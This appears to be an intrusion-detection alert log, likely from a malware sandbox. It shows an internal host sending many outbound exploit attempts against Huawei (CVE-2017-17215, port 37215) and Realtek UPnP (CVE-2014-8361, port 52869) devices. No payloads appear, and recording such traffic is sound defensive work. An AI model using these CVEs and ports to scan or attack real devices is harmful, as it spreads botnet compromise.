ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 49.206.51.10

Timestamp:	07/20/24-23:01:36.785491
SID:	2835222
Source Port:	48460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 97.115.201.63

Timestamp:	07/20/24-23:01:27.360753
SID:	2027339
Source Port:	41696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 119.6.92.121

Timestamp:	07/20/24-23:01:36.780553
SID:	2835222
Source Port:	54864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 128.25.16.1

Timestamp:	07/20/24-23:01:07.526795
SID:	2027339
Source Port:	39666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 5.243.194.6

Timestamp:	07/20/24-23:01:19.911350
SID:	2025132
Source Port:	39010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.204.132.126

Timestamp:	07/20/24-23:01:15.000440
SID:	2829579
Source Port:	52346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.18.96.193

Timestamp:	07/20/24-23:01:25.389307
SID:	2829579
Source Port:	34532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.140.210.124

Timestamp:	07/20/24-23:01:27.263646
SID:	2829579
Source Port:	35720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.190.79.185

Timestamp:	07/20/24-23:01:12.492810
SID:	2835222
Source Port:	53770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.2.186.51

Timestamp:	07/20/24-23:01:12.517791
SID:	2829579
Source Port:	41038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.242.121.162

Timestamp:	07/20/24-23:01:36.862442
SID:	2829579
Source Port:	53402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.145.164.25

Timestamp:	07/20/24-23:00:59.022667
SID:	2835222
Source Port:	55064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.222.44

Timestamp:	07/20/24-23:01:04.855996
SID:	2835222
Source Port:	32802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.191.119

Timestamp:	07/20/24-23:01:25.397771
SID:	2829579
Source Port:	52390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 67.52.151.110

Timestamp:	07/20/24-23:01:19.172936
SID:	2027339
Source Port:	49558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.148.179.37

Timestamp:	07/20/24-23:01:32.192696
SID:	2835222
Source Port:	34390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.3.21.190

Timestamp:	07/20/24-23:00:59.019395
SID:	2835222
Source Port:	35940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.191.94.21

Timestamp:	07/20/24-23:01:32.276800
SID:	2829579
Source Port:	39068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 204.248.242.165

Timestamp:	07/20/24-23:01:06.801747
SID:	2829579
Source Port:	45132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 216.1.152.81

Timestamp:	07/20/24-23:01:14.521197
SID:	2831300
Source Port:	57054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.19.25.100

Timestamp:	07/20/24-23:01:32.267589
SID:	2829579
Source Port:	44082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.73.217.175

Timestamp:	07/20/24-23:00:59.022701
SID:	2835222
Source Port:	42216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 4.26.18.222

Timestamp:	07/20/24-23:01:04.437880
SID:	2027339
Source Port:	40114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.240.54.248

Timestamp:	07/20/24-23:01:12.358593
SID:	2835222
Source Port:	33712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 153.33.151.65

Timestamp:	07/20/24-23:01:06.274684
SID:	2025132
Source Port:	55104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.157.248.97

Timestamp:	07/20/24-23:01:15.000440
SID:	2829579
Source Port:	37684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.101.21.17

Timestamp:	07/20/24-23:01:08.392907
SID:	2829579
Source Port:	48612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 46.222.69.48

Timestamp:	07/20/24-23:01:20.503048
SID:	2027339
Source Port:	51074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 205.67.98.173

Timestamp:	07/20/24-23:01:07.575114
SID:	2025132
Source Port:	39206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 100.58.169.89

Timestamp:	07/20/24-23:01:14.505885
SID:	2831300
Source Port:	34902
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.33.52.28

Timestamp:	07/20/24-23:01:22.810997
SID:	2835222
Source Port:	40534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 46.185.21.147

Timestamp:	07/20/24-23:00:59.022344
SID:	2835222
Source Port:	54018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 202.189.16.223

Timestamp:	07/20/24-23:01:14.536803
SID:	2831300
Source Port:	47374
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 84.156.35.88

Timestamp:	07/20/24-23:02:11.193011
SID:	2025132
Source Port:	33250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 181.45.102.205

Timestamp:	07/20/24-23:01:08.459274
SID:	2835222
Source Port:	47400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 141.172.190.0

Timestamp:	07/20/24-23:01:19.594022
SID:	2025132
Source Port:	45210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 199.255.47.208

Timestamp:	07/20/24-23:01:14.530241
SID:	2027339
Source Port:	49450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.129.1.105

Timestamp:	07/20/24-23:01:36.787101
SID:	2835222
Source Port:	55328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.125.187.17

Timestamp:	07/20/24-23:01:02.699257
SID:	2829579
Source Port:	41994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 103.212.24.174

Timestamp:	07/20/24-23:01:06.800702
SID:	2829579
Source Port:	54888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.223.204

Timestamp:	07/20/24-23:01:08.381624
SID:	2835222
Source Port:	36442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 180.201.70.9

Timestamp:	07/20/24-23:01:08.369553
SID:	2829579
Source Port:	34018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.204.123.230

Timestamp:	07/20/24-23:01:04.892226
SID:	2829579
Source Port:	42498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.112.105.26

Timestamp:	07/20/24-23:01:25.456960
SID:	2829579
Source Port:	40224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 219.121.3.137

Timestamp:	07/20/24-23:01:04.180737
SID:	2025132
Source Port:	40044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 87.8.107.75

Timestamp:	07/20/24-23:01:06.901569
SID:	2027339
Source Port:	36166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.160.111.35

Timestamp:	07/20/24-23:01:04.209332
SID:	2027339
Source Port:	48954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.108.235.134

Timestamp:	07/20/24-23:01:12.485954
SID:	2835222
Source Port:	48424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 168.200.41.227

Timestamp:	07/20/24-23:01:20.306974
SID:	2027339
Source Port:	40900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.40.102.40

Timestamp:	07/20/24-23:00:59.020320
SID:	2835222
Source Port:	40876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.37.233.45

Timestamp:	07/20/24-23:01:25.391285
SID:	2835222
Source Port:	52720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.38.182.214

Timestamp:	07/20/24-23:01:02.661070
SID:	2829579
Source Port:	47232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.54.201.107

Timestamp:	07/20/24-23:01:04.853320
SID:	2835222
Source Port:	33200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.171.85.198

Timestamp:	07/20/24-23:01:32.250506
SID:	2829579
Source Port:	36522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 170.201.104.199

Timestamp:	07/20/24-23:01:05.763382
SID:	2027339
Source Port:	38402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.253.226.135

Timestamp:	07/20/24-23:01:12.504870
SID:	2829579
Source Port:	47782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.44.46.164

Timestamp:	07/20/24-23:00:59.021140
SID:	2829579
Source Port:	45338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 140.192.14.130

Timestamp:	07/20/24-23:01:27.354179
SID:	2027339
Source Port:	40872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 211.159.248.236

Timestamp:	07/20/24-23:01:04.602660
SID:	2025132
Source Port:	50994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.161.134

Timestamp:	07/20/24-23:01:14.998444
SID:	2829579
Source Port:	44742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.205.125.4

Timestamp:	07/20/24-23:01:12.553660
SID:	2829579
Source Port:	54976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.227.104

Timestamp:	07/20/24-23:01:22.754723
SID:	2829579
Source Port:	59592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.163.90.176

Timestamp:	07/20/24-23:01:36.846304
SID:	2835222
Source Port:	33794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.206.228.120

Timestamp:	07/20/24-23:01:36.798333
SID:	2835222
Source Port:	33400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.200.98.141

Timestamp:	07/20/24-23:00:59.019656
SID:	2829579
Source Port:	51224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.24.241.194

Timestamp:	07/20/24-23:01:04.858015
SID:	2829579
Source Port:	59500
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 120.120.202.208

Timestamp:	07/20/24-23:01:14.513708
SID:	2831300
Source Port:	37464
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.119.203.28

Timestamp:	07/20/24-23:01:12.502954
SID:	2835222
Source Port:	33836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 17.173.199.209

Timestamp:	07/20/24-23:01:25.414531
SID:	2829579
Source Port:	60580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.75.195.94

Timestamp:	07/20/24-23:01:27.222234
SID:	2829579
Source Port:	53412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 158.159.28.203

Timestamp:	07/20/24-23:01:14.527949
SID:	2027339
Source Port:	43912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 13.152.140.36

Timestamp:	07/20/24-23:01:02.620832
SID:	2829579
Source Port:	42890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.97.97.145

Timestamp:	07/20/24-23:01:06.800702
SID:	2829579
Source Port:	40006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.153.35.0

Timestamp:	07/20/24-23:01:06.809008
SID:	2829579
Source Port:	38832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 91.112.89.216

Timestamp:	07/20/24-23:01:02.607576
SID:	2829579
Source Port:	36190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 82.246.219.130

Timestamp:	07/20/24-23:01:03.818275
SID:	2025132
Source Port:	48204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.164.134.229

Timestamp:	07/20/24-23:01:02.612616
SID:	2829579
Source Port:	36826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 183.89.166.139

Timestamp:	07/20/24-23:01:05.464253
SID:	2025132
Source Port:	37796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 117.238.157.130

Timestamp:	07/20/24-23:01:25.390960
SID:	2835222
Source Port:	45836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.89.205.146

Timestamp:	07/20/24-23:01:04.429780
SID:	2027339
Source Port:	44850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.103.47.251

Timestamp:	07/20/24-23:01:04.848636
SID:	2829579
Source Port:	55666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 159.11.170.80

Timestamp:	07/20/24-23:01:02.607576
SID:	2829579
Source Port:	49892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 143.19.210.21

Timestamp:	07/20/24-23:01:04.787967
SID:	2025132
Source Port:	33794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.99.236

Timestamp:	07/20/24-23:01:12.374034
SID:	2835222
Source Port:	46032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 161.250.92.81

Timestamp:	07/20/24-23:01:12.356686
SID:	2835222
Source Port:	33370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.117.251.239

Timestamp:	07/20/24-23:01:32.260443
SID:	2829579
Source Port:	52022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 112.104.240.153

Timestamp:	07/20/24-23:01:03.668723
SID:	2027339
Source Port:	34450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.134.113

Timestamp:	07/20/24-23:01:06.823879
SID:	2829579
Source Port:	46376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.97.111

Timestamp:	07/20/24-23:01:04.907418
SID:	2835222
Source Port:	46534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 164.103.95.95

Timestamp:	07/20/24-23:01:04.177136
SID:	2025132
Source Port:	49766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 144.242.214.134

Timestamp:	07/20/24-23:01:05.140118
SID:	2027339
Source Port:	57426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 44.184.39.95

Timestamp:	07/20/24-23:01:15.087650
SID:	2829579
Source Port:	44818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 114.155.105.80

Timestamp:	07/20/24-23:01:27.354360
SID:	2831300
Source Port:	58182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.60.200.134

Timestamp:	07/20/24-23:01:17.786876
SID:	2835222
Source Port:	35050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.228.125.161

Timestamp:	07/20/24-23:01:25.388961
SID:	2835222
Source Port:	56430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.31.235

Timestamp:	07/20/24-23:01:14.998674
SID:	2829579
Source Port:	35204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 81.71.223.221

Timestamp:	07/20/24-23:01:04.744150
SID:	2027339
Source Port:	51860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.108.63.191

Timestamp:	07/20/24-23:01:32.199190
SID:	2829579
Source Port:	34084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.174.42.115

Timestamp:	07/20/24-23:01:02.607576
SID:	2835222
Source Port:	50408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.150.239

Timestamp:	07/20/24-23:01:32.202245
SID:	2835222
Source Port:	42600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.246.213.216

Timestamp:	07/20/24-23:01:27.293207
SID:	2829579
Source Port:	57546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 141.20.36.175

Timestamp:	07/20/24-23:01:27.361024
SID:	2027339
Source Port:	50098
